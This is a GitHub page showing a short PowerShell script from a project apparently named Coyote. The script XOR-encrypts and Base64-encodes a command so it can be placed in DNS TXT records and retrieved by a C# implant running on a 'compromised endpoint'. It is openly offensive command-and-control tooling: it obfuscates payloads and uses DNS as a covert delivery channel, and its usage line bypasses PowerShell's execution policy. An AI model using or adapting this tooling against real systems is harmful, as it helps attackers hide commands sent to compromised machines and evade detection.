-
Notifications
You must be signed in to change notification settings - Fork 1
/
Copy pathpayload-encrypt.ps1
27 lines (21 loc) · 952 Bytes
/
payload-encrypt.ps1
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
<#
Powershell script to XOR payloads with a key and then Base64 encode them ready to be stored in DNS TXT records for retrieval by Coyote C# implant
https://github.com/TartarusLabs/Coyote
To execute it: powershell.exe -Exec bypass -File payload-encrypt.ps1
Refer to the README.md for full usage details
#>
$Payload = "calc.exe" # Set the command you would like to execute on the compromised endpoint here
$XORkey = "pizza" # Set an XOR key here and remember to use the same one in coyote.cs for decryption
$keychar = 0
$XORkeyar = $XORkey.ToCharArray()
$ciphertext = ""
$Payload.ToCharArray() | foreach-object -process {
$ciphertext += [char]([byte][char]$_ -bxor $XORkeyar[$keychar])
$keychar += 1
if ($keychar -eq $XORkey.Length)
{
$keychar = 0
}
}
Write-Host "Encrypted payload for DNS TXT record: $([Convert]::ToBase64String([System.Text.Encoding]::UTF8.GetBytes($ciphertext)))"